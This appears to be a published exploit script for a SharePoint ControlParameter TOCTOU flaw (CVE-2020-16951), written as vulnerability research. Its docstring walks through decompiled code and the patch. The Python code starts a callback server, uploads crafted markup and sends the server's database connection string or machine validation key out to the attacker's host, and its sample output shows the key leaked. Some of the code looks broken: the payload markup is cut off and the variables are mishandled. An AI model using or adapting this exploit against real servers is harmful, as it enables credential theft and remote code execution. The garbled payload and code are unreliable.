#!/usr/bin/python3 """ Microsoft SharePoint Server TOCTOU ControlParameter Binding Remote Code Execution Vulnerability Patch: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-16951 ## Summary: An authenticated attacker that can craft a page and trigger a server-side information disclosure by performing parameter binding with the `ControlParameter` class. The attacker can leverage this to leak nested properties inside of classes such as passwords, connection strings and machine validation keys, thus resulting in remote code execution via ViewState Deserialization. ## Notes: - This is a bypass for CVE-2020-1103 - This poc just leaks sensitive information. An RCE poc will not be provided at this time. - We are unsure as to why Microsoft didn't credit us for this finding. ## Vulnerability Analysis: Inside of the `Microsoft.SharePoint.Publishing.dll` assembly, we can find the `Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage` class. ```c# namespace Microsoft.SharePoint.Publishing.Internal.CodeBehind { // Token: 0x0200054E RID: 1358 [PermissionSet(SecurityAction.Demand, Name = "FullTrust")] public class WebPartEditingSurfacePage : ComponentPage { // ... protected override void OnLoad(EventArgs e) { if (this.Page.IsPostBack && !SPUtility.ValidateFormDigest()) { throw new SecurityException(); } this.currentWeb = SPContext.Current.Web; string text = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "WebPartUrl", "WebPartEditingSurfacePage"); // 1 string previewPageContext = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "Url", "WebPartEditingSurfacePage"); // 2 string fullResourceName; string fullResourceName2; string text2; this.GetWebPartMetaData(text, out fullResourceName, out fullResourceName2, out text2); string text3 = this.GetWebPartMarkup(text); // 3 string webPartMarkup = WebPartEditingSurfacePage.ConvertWebPartMarkup(text3); // 4 XElement xelement = WebPartEditingSurfacePage.ConvertMarkupToTree(webPartMarkup); // 5 XElement xelement2 = xelement.Elements().First(); WebPartEditingSurfacePage.RemoveSPDSpecificAttributes(xelement2); WebPartEditingSurfacePage.AddWebPartId(xelement2); if (WebPartEditingSurfacePage.IsDWP(xelement2)) { text3 = xelement2.ToString(); } WebPartEditingSurfacePage.RearrangeMarkupIfDWP(xelement2); ComponentMarkup.AddPageDirectives(xelement, ComponentMarkup.PageDirectives.None); base.Component.Name = Resources.GetStringExViaSPUtility(fullResourceName); base.Component.ComponentName = checked(text.Substring(text.LastIndexOf('/') + 1, text.LastIndexOf('.') - text.LastIndexOf('/') - 1)); base.Component.HasDivAround = false; base.Component.Description = Resources.GetStringExViaSPUtility(fullResourceName2); base.Component.Icon = SPUtility.ContextImagesRoot + "webparts32.png"; base.Component.PreviewPageContext = previewPageContext; base.Component.MarkupTree = xelement; if (!WebPartEditingSurfacePage.IsDWP(xelement2)) { text3 = base.Component.ConvertMarkupTreeToControlMarkup(); DesignUtilities.AddAngleBracketsForResourceString(xelement2); } if (!SPUtility.CheckMarkupForSafeControls(SPContext.Current.Web, text3)) // 7 { throw new UnauthorizedAccessException(); } bool ignoreParserFilter = SPUtility.VerifySPDControlMarkup(text3); // 8 Control control = base.ParseControl(text3, ignoreParserFilter); // 9 bool flag = DesignUtilities.IsControlContainsType(control, typeof(ScriptWebPart)); // 10 if (flag) { this.webpartPreviewDiv.Controls.Add(control); // 11 } base.Component.ConvertMarkupTreeToSnippet(!flag); SPPageContentManager.RegisterHiddenField(this.Page, WebPartEditingSurfacePage.WebPartMarkupHiddenFieldName, text3); base.OnLoad(e); } ``` At *[1]* and *[2]* the code accepts attacker influenced values. At *[3]* the code will read the content from the attacker supplied url in `WebPartUrl` or from a postback request. At *[4]* the code is converting the attacker controlled data into a control format and checks for controls that are indeed, not deriving from `WebPart`. However, this check can be bypassed by using comment tags such as: . Then, later at *[5]* some data conversion takes place as mentioned by Oleksandr Mirosh and Alvaro Muñoz in the paper "Room for Escape: Scribbling Outside the Lines of Template Security" where a page directive that contains a tagprefix of "asp" is essentially removed. So a value like `<%@ Register TagPrefix="asp" Namespace="some" Assembly="junk" %>` is infact removed from the attacker supplied data. Code location *[6]* shows the dangerous data modification. ```c# private static XElement ConvertMarkupToTree(string webPartMarkup) { XElement xelement = new XElement("markup"); DesignUtilities.AddPageDirective(xelement, "__designer", "SPD"); MatchCollection matchCollection = WebPartEditingSurfacePage.tagPrefixRegex.Matches(webPartMarkup); foreach (object obj in matchCollection) { Match match = (Match)obj; webPartMarkup = webPartMarkup.Replace(match.Value, ""); // 6 string value = match.Groups["TagPrefix"].Value; if (value == "cc1") { string value2 = match.Groups["DllInfo"].Value; string prefixTagFromDllInfo = WebPartEditingSurfacePage.GetPrefixTagFromDllInfo(value2); DesignUtilities.AddPageDirective(xelement, prefixTagFromDllInfo, value2); webPartMarkup = webPartMarkup.Replace("cc1:", prefixTagFromDllInfo + ":"); } else if (value != "asp") { string value3 = match.Groups["DllInfo"].Value; DesignUtilities.AddPageDirective(xelement, value, value3); } } return DesignUtilities.SetMarkupTree(xelement, webPartMarkup); } ``` Using the commenting of code and TOCTOU, we can reach *[7]* which is the patch for CVE-2020-1444. This is a call to `SPUtility.CheckMarkupForSafeControls` and this checks for controls that are on the safe list. We can bypass this check because the patch for CVE-2020-1103 is implemented in `Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter`. ```c# private bool AllowControlProperties(Type controlType, ControlBuilder childBuilder) { // ... if (this.IsTypeOrSubclass(typeof(ControlParameter), controlType) && !this.AllowControlParameterObject(childBuilder)) // CVE-2020-1103 patch { return false; } // ... } ``` By reaching *[8]*, as long as the attacker doesn't have any server-side includes in their payload, then `SPUtility.VerifySPDControlMarkup` will return true. This means at *[9]* the code will call `base.ParseControl` with the second argument set to true. So essentially this code path side steps the `SPPageParserFilter` usage, and thus, the call to `AllowControlProperties`. Now, as long as the attacker has a type of `ScriptWebPart` in their payload at *[10]*, then the control code will be appended to the page at *[11]*. This allows an attacker to leak sensitive properties via ControlParameters and gain remote code execution. ## Proof of Concept: The following poc leaks the DatabaseConnectionString from the `SPContentDatabase` class. As shown by Oleksandr, in some cases its possible to leak the MachineValidationKey. Please change anything between [] brackets. ``` PUT /poc.xml HTTP/1.1 Host: [target] Content-Length: 966 <%@ Register TagPrefix="SearchW" Namespace="Microsoft.Office.Server.Search.WebControls" Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
>
<%-- sufix --%> ]]>
``` Now, we can trigger the leaking of the connection string ``` GET /_layouts/15/WebPartEditingSurface.aspx?WebPartUrl=http://[target]/poc.xml&Url=/_catalogs/masterpage/seattle.master HTTP/1.1 Host: [target] ``` ## Expected result: No request made to the attackers server ## Actual result: The attackers server captures the leaked DatabaseConnectionString. ## Credit: Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Yuhao Weng (@cjm00nw) ## References: - https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Munoz%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security%20WP.pdf - https://thesharepointfarm.com/2016/03/unattended-configuration-for-sharepoint-server-2016/ ## Patch: Inside of `Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage.OnLoad` ```c# Control control = base.ParseControl(text3, false); ``` The code now forces the use of the `Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter` class to filter controls which contains code to block `ControlParameter`. ## Example: So, in this poc instead of using Oleksandr's original payload, I decided to improve things a little and use `SoapDataSource` as the DataSource. The reason is so we can use an internally reachable IP address in case outbound internet connections are blocked, which will be highly unlikely. But it's also nice to keep the exploit nice and tidy. Dont worry, this won't bypass whats in `SPPageParserFilter` because `DataFormParameter` extends from `ControlParameter` and `ControlParameter` is already blocked. researcher@incite:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey] (+) eg: ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString researcher@incite:~$ ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString (+) triggered callback, leaking data... (+) Web.Site.ContentDatabase.DatabaseConnectionString: Data Source=WIN-3T816HJ84N4;Initial Catalog=WSS_Content;Integrated Security=True;Enlist=False;Pooling=True;Min Pool Size=0;Max Pool Size=100;Connect Timeout=60;Packet Size=8000;Application Name=SharePoint[w3wp][2][WSS_Content] (+) attack completed successfully! researcher@incite:~$ ./poc.py win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey] (+) triggered callback, leaking data... (+) Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]: 55AAE0A8E646746523FA5EE0675232BE39990CDAC3AE2B0772E32D71C05929D8 (+) attack completed successfully! """ import os import sys import urllib3 import requests from platform import uname from threading import Thread from xml.etree import ElementTree as ET from requests_ntlm2 import HttpNtlmAuth from http.server import BaseHTTPRequestHandler, HTTPServer urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) flag = False class toctou_server(BaseHTTPRequestHandler): def log_message(self, format, *args): return def do_POST(self): content_len = int(self.headers.get('Content-Length')) post_body = self.rfile.read(content_len) if "pwn" in self.path: print("(+) triggered callback, leaking data...") flag = True tree = ET.ElementTree(ET.fromstring(post_body.decode())) data = tree.findall('.//leakeddata') for elt in data[0].iter(): print("(+) %s: %s" % (k, elt.text)) self.send_response(200) self.end_headers() if __name__ == '__main__': if len(sys.argv) != 5: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]" % sys.argv[0]) print("(+) eg: %s win-3t816hj84n4 harryh@pwn.me:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString" % sys.argv[0]) sys.exit(-1) t = sys.argv[1] u = sys.argv[2].split(":")[0].split("@")[0] p = sys.argv[2].split(":")[1] d = sys.argv[2].split(":")[0].split("@")[1] c = sys.argv[3] k = sys.argv[4] if "microsoft" not in uname()[2].lower(): print("(-) WARNING: this was tested on wsl, so it may not work on other platforms") server = HTTPServer(('0.0.0.0', 8000), toctou_server) handlerthr = Thread(target=server.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() payload = """<%%@ Register TagPrefix="SearchW" Namespace="Microsoft.Office.Server.Search.WebControls" Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %%>
> {leak} <%%-- sufix --%%> ]]>
""" % (c, k) r = requests.put("http://%s/poc.xml" % t, data=payload, auth=HttpNtlmAuth('%s\\%s' % (d,u), p)) if r.status_code == 201 or r.status_code == 200: d = { "WebPartUrl" : "http://%s/poc.xml" % t, "Url" : "/_catalogs/masterpage/seattle.master" } r = requests.get("http://%s/_layouts/15/WebPartEditingSurface.aspx" % t, auth=HttpNtlmAuth('%s\\%s' % (d,u), p), params=d) if r.status_code == 200 and flag: print("(+) attack completed successfully!") else: print("(-) attack failed, probably patched!")